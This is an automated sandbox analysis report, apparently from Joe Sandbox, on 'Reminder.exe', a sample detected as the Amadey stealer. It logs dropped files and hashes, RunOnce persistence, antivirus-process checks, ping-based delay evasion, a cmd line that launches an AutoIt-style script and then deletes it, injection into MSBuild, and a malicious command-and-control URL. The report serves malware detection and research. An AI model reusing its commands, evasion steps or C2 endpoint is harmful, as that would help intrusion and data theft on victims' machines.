Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: netutils.dll

Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH

Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp

Window found: window name: TMainForm

Source: Reminder.exe

Static file information: File size 10161880 > 1048576

Source: Reminder.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: Reminder.exe

Static PE information: real checksum: 0x9b2654 should be: 0x9bc79f

Source: Reminder.exe

Static PE information: section name: .didata

Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	File created: C:\Users\user\AppData\Local\Temp\is-8CPJ0.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	File created: C:\Users\user\AppData\Local\Temp\is-8CPJ0.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Reminder.exe	File created: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	File created: C:\Users\user\AppData\Local\coigned\is-9F4FN.tmp	Jump to dropped file

Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce fdeahdg
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce fdeahdg
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce fdeahdg
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce fdeahdg

Source: C:\Users\user\Desktop\Reminder.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Reminder.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Uses ping.exe to sleep

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 5 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 5 127.0.0.1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Thread delayed: delay time: 180000

Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-8CPJ0.tmp\_isetup\_setup64.tmp			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-8CPJ0.tmp\_isetup\_isdecmp.dll			Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2924	Thread sleep time: -120000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2924	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2924	Thread sleep count: 102 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2924	Thread sleep time: -3060000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6512	Thread sleep time: -180000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2924	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2924	Thread sleep count: 191 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2924	Thread sleep time: -5730000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2924	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2924	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2924	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 30000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 30000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 30000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 180000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 30000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 30000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 30000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 30000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp

Process information queried: ProcessInformation

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Windows\System32\tasklist.exe

System information queried: CodeIntegrityInformation

Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\coigned\Updater.exe

Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Process created: C:\Users\user\Desktop\Reminder.exe "C:\Users\user\Desktop\Reminder.exe" /VERYSILENT
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ping -n 5 127.0.0.1 >nul && updater.exe C:\ProgramData\\ZPrVgH71.a3x && del C:\ProgramData\\ZPrVgH71.a3x
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 5 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\coigned\Updater.exe updater.exe C:\ProgramData\\ZPrVgH71.a3x
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion ProductID
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion ProductID

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation

Source: C:\Users\user\AppData\Local\coigned\Updater.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 00000029.00000002.2093368871.0000000003E62000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2510265571.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	11 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	1 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	121 Virtualization/Sandbox Evasion	Security Account Manager	121 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	2 System Owner/User Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	33 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Source	Detection	Scanner	Label	Link
Reminder.exe	54%	ReversingLabs	Win32.Trojan.Amadey

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\is-8CPJ0.tmp\_isetup\_isdecmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-8CPJ0.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\coigned\Updater.exe (copy)	0%	ReversingLabs

Name	Malicious	Antivirus Detection	Reputation
http://152.89.198.124/8bdDsv3dk2FF/index.php	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
152.89.198.124	unknown	United Kingdom		209003	NEXTVISIONGB	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1540342
Start date and time:	2024-10-23 17:02:52 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	44
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
Sample name:	Reminder.exe
Detection:	MAL
Classification:	mal84.troj.spyw.evad.winEXE@60/7@0/11
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, SIHClient.exe, SgrmBroker.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: Reminder.exe

Created / dropped Files

C:\Users\user\AppData\Local\Temp\is-8CPJ0.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	29472
Entropy (8bit):	7.042110181107409
Encrypted:	false
SSDEEP:
MD5:	077CB4461A2767383B317EB0C50F5F13
SHA1:	584E64F1D162398B7F377CE55A6B5740379C4282
SHA-256:	8287D0E287A66EE78537C8D1D98E426562B95C50F569B92CEA9CE36A9FA57E64
SHA-512:	B1FCB0265697561EF497E6A60FCEE99DC5EA0CF02B4010DA9F5ED93BCE88BDFEA6BFE823A017487B8059158464EA29636AAD8E5F9DD1E8B8A1B6EAAAB670E547
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........I...(...(...(..n ..(...(...(...$..(...$..(...$..(..Rich.(..................PE..L......B...........!..... ..........p........0....P..........................P.......................................;.......;..(....................4.. ?...@.......0...............................................0...............................text............ .................. ..`.rdata.......0.......$..............@..@.reloc.......@.......2..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-8CPJ0.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp

Download File

Process:	C:\Users\user\Desktop\Reminder.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3325440
Entropy (8bit):	6.597962076419531
Encrypted:	false
SSDEEP:
MD5:	4BFB5A37DC6ACBC273CEB792408BFEC9
SHA1:	51C820B195E7E9069D5BE0CAE12A0D566BA358A2
SHA-256:	E35B01344C6ABD6463439DC23A450C3ED5FA656778647CBEA070E1F6A4A9C906
SHA-512:	01C87EC83C258657B663A90819534546A847DC30903C9AF79F45048CD11C598660CF253F23575FE7B471B7DE07BDA902D7E1526D21EF8785B2F80C14B83FD5D3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@...........................3...........@......@...................P,.n.....,.j:...P0..8....................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc....8...P0..:..../.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Local\coigned\Updater.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:
MD5:	3F58A517F1F4796225137E7659AD2ADB
SHA1:	E264BA0E9987B0AD0812E5DD4DD3075531CFE269
SHA-256:	1DA298CAB4D537B0B7B5DABF09BFF6A212B9E45731E0CC772F99026005FB9E48
SHA-512:	ACF740AAFCE390D06C6A76C84E7AE7C0F721731973AADBE3E57F2EB63241A01303CC6BF11A3F9A88F8BE0237998B5772BDAF569137D63BA3D0F877E7D27FC634
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......hm..,...,...,.....m.......o.......n.......[.-....h..8....h.......h..>...%t..%...%t......,........h..\|....h..-....hc.-...,........h..-...Rich,...........................PE..L...R..Z.........."...............................@.......................................@...@.......@.........................\|....P..h............J.......0.. v.........................../..........@............................................text............................... ..`.rdata..............................@..@.data...4p.......H..................@....rsrc...h....P......................@..@.reloc.. v...0...x..................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\coigned\friendliwise.csv (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp
File Type:	data
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:
MD5:	70AE9B8A733EAA5A6AC51F701F86F73D
SHA1:	13154932B86947EFCDDD92F552E15AEC5316B2CE
SHA-256:	151EC6640A046099F9FF5CC3A19001ACBC2D1C4CC8BD8C8BB43BA598CCAC6681
SHA-512:	4AED1C6EA245AD4DFAA90253DCFC1D8FB2AD965C241F91D84FBC315D994B73BFC7F225E30E4019887B116D57A17330A1C1E994E5E6332AE66A68A3AD8BDB33B6
Malicious:	false
Reputation:	unknown
Preview:	.HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.M....D....9..u2.+..^..R.a@.].F.e..EQi.,.......m..%......w4#.....f...\..z..})..4.m....vs.....f..b..O.?.I8..o..K.,.qn...D..............#.....J.#.....JkC.R......%x....}...q..U-...(....%....V..?p.h`...55.SZ_S.^q..x.....k>r0...O...9xe7y>.v.T...Ip... .oz.`7G......i...{Z/....Nk...m.N......c)Y.`.37...i=..T..-..f.....'......b~...bk..)....Vq.#..c9\|J.#....Jm.....T,....5...x...(nU.j....06.f".].X.:..)...=.H.}.......$......G.............#=._.z.8..7.O..g}.a.Df!..v-."Yj...=c.#..t.E....Yt].5M".......Q..w.^5.~.o.P....3.?A\U.......?..Cp.~....E.K...9....(...0.=}.{.t4+.o...X).H*.>. .)z.....)-^.....9.....M...#..8..x.....9.i..z.=#R.=i>0..X... M..J.......u.##....Ez....U...Z8..@u.Dj....Yu?.px........(.1.0.S..@......'E.........5.8..B.;..E..q.S...f,..Z?..O..\...#B;<qr6..pw.[D.].9.G%_...........e}! .mj..?....u..6....i]&1...e..-7(VQBo....Y..6..w.'..A..=f6w,+.?..F.tA(./...h.

C:\Users\user\AppData\Local\coigned\friendliwise.mid (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp
File Type:	data
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:
MD5:	356418D32F4117C84B577BE53DC1BBF2
SHA1:	D09CF166E6D90A9B5BFB74B8297833A5E69E00F6
SHA-256:	0D8586DA0418EAD69F96ECC3A19BF61AF9A6F8BCC42602E0D6F00F80C5E6CAA1
SHA-512:	1EE6F6315C8F0E9EB2E93BDCB14661F506279285148396D2A863073B796EE2A99B5F74C9A0329FE35B6B72C624F80FACCA630ED63BAEB77BA94EAE93B12E3A40
Malicious:	false
Reputation:	unknown
Preview:	B;k...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................B;k.....................................

C:\Users\user\AppData\Local\coigned\is-9F4FN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	943784
Entropy (8bit):	6.621472142472864
Encrypted:	false
SSDEEP:
MD5:	3F58A517F1F4796225137E7659AD2ADB
SHA1:	E264BA0E9987B0AD0812E5DD4DD3075531CFE269
SHA-256:	1DA298CAB4D537B0B7B5DABF09BFF6A212B9E45731E0CC772F99026005FB9E48
SHA-512:	ACF740AAFCE390D06C6A76C84E7AE7C0F721731973AADBE3E57F2EB63241A01303CC6BF11A3F9A88F8BE0237998B5772BDAF569137D63BA3D0F877E7D27FC634
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......hm..,...,...,.....m.......o.......n.......[.-....h..8....h.......h..>...%t..%...%t......,........h..\|....h..-....hc.-...,........h..-...Rich,...........................PE..L...R..Z.........."...............................@.......................................@...@.......@.........................\|....P..h............J.......0.. v.........................../..........@............................................text............................... ..`.rdata..............................@..@.data...4p.......H..................@....rsrc...h....P......................@..@.reloc.. v...0...x..................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\coigned\is-F09AJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp
File Type:	data
Category:	dropped
Size (bytes):	61106
Entropy (8bit):	7.997065387988865
Encrypted:	true
SSDEEP:
MD5:	70AE9B8A733EAA5A6AC51F701F86F73D
SHA1:	13154932B86947EFCDDD92F552E15AEC5316B2CE
SHA-256:	151EC6640A046099F9FF5CC3A19001ACBC2D1C4CC8BD8C8BB43BA598CCAC6681
SHA-512:	4AED1C6EA245AD4DFAA90253DCFC1D8FB2AD965C241F91D84FBC315D994B73BFC7F225E30E4019887B116D57A17330A1C1E994E5E6332AE66A68A3AD8BDB33B6
Malicious:	false
Reputation:	unknown
